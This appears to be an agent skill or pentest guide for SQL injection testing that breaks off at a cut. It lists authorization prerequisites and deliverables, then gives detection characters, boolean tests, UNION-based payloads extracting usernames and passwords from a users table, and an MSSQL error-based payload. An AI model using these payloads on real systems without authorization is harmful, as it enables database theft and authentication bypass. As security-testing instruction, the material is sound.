SQL Injection Testing
Purpose
Execute comprehensive SQL injection vulnerability assessments on web applications to identify database security flaws, demonstrate exploitation techniques, and validate input sanitization mechanisms. This skill enables systematic detection and exploitation of SQL injection vulnerabilities across in-band, blind, and out-of-band attack vectors to assess application security posture.
Inputs / Prerequisites
Required Access
- Target web application URL with injectable parameters
- Burp Suite or equivalent proxy tool for request manipulation
- SQLMap installation for automated exploitation
- Browser with developer tools enabled
Technical Requirements
- Understanding of SQL query syntax (MySQL, MSSQL, PostgreSQL, Oracle)
- Knowledge of HTTP request/response cycle
- Familiarity with database schemas and structures
- Write permissions for testing reports
Legal Prerequisites
- Written authorization for penetration testing
- Defined scope including target URLs and parameters
- Emergency contact procedures established
- Data handling agreements in place
Outputs / Deliverables
Primary Outputs
- SQL injection vulnerability report with severity ratings
- Extracted database schemas and table structures
- Authentication bypass proof-of-concept demonstrations
- Remediation recommendations with code examples
Evidence Artifacts
- Screenshots of successful injections
- HTTP request/response logs
- Database dumps (sanitized)
- Payload documentation
Core Workflow
Phase 1: Detection and Reconnaissance
#### Identify Injectable Parameters Locate user-controlled input fields that interact with database queries:
# Common injection points
- URL parameters: ?id=1, ?user=admin, ?category=books
- Form fields: username, password, search, comments
- Cookie values: session_id, user_preference
- HTTP headers: User-Agent, Referer, X-Forwarded-For#### Test for Basic Vulnerability Indicators Insert special characters to trigger error responses:
-- Single quote test
'
-- Double quote test
"
-- Comment sequences
--
#
/**/
-- Semicolon for query stacking
;
-- Parentheses
)Monitor application responses for:
- Database error messages revealing query structure
- Unexpected application behavior changes
- HTTP 500 Internal Server errors
- Modified response content or length
#### Logic Testing Payloads Verify boolean-based vulnerability presence:
-- True condition tests
page.asp?id=1 or 1=1
page.asp?id=1' or 1=1--
page.asp?id=1" or 1=1--
-- False condition tests
page.asp?id=1 and 1=2
page.asp?id=1' and 1=2--Compare responses between true and false conditions to confirm injection capability.
Phase 2: Exploitation Techniques
#### UNION-Based Extraction Combine attacker-controlled SELECT statements with original query:
-- Determine column count
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
-- Continue until error occurs
-- Find displayable columns
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL--
UNION SELECT NULL,'a',NULL--
-- Extract data
UNION SELECT username,password,NULL FROM users--
UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--#### Error-Based Extraction Force database errors that leak information:
-- MSSQL version extraction
1' AND 1=CONVERT(int,(SELECT @@version))--
-- MySQL extract
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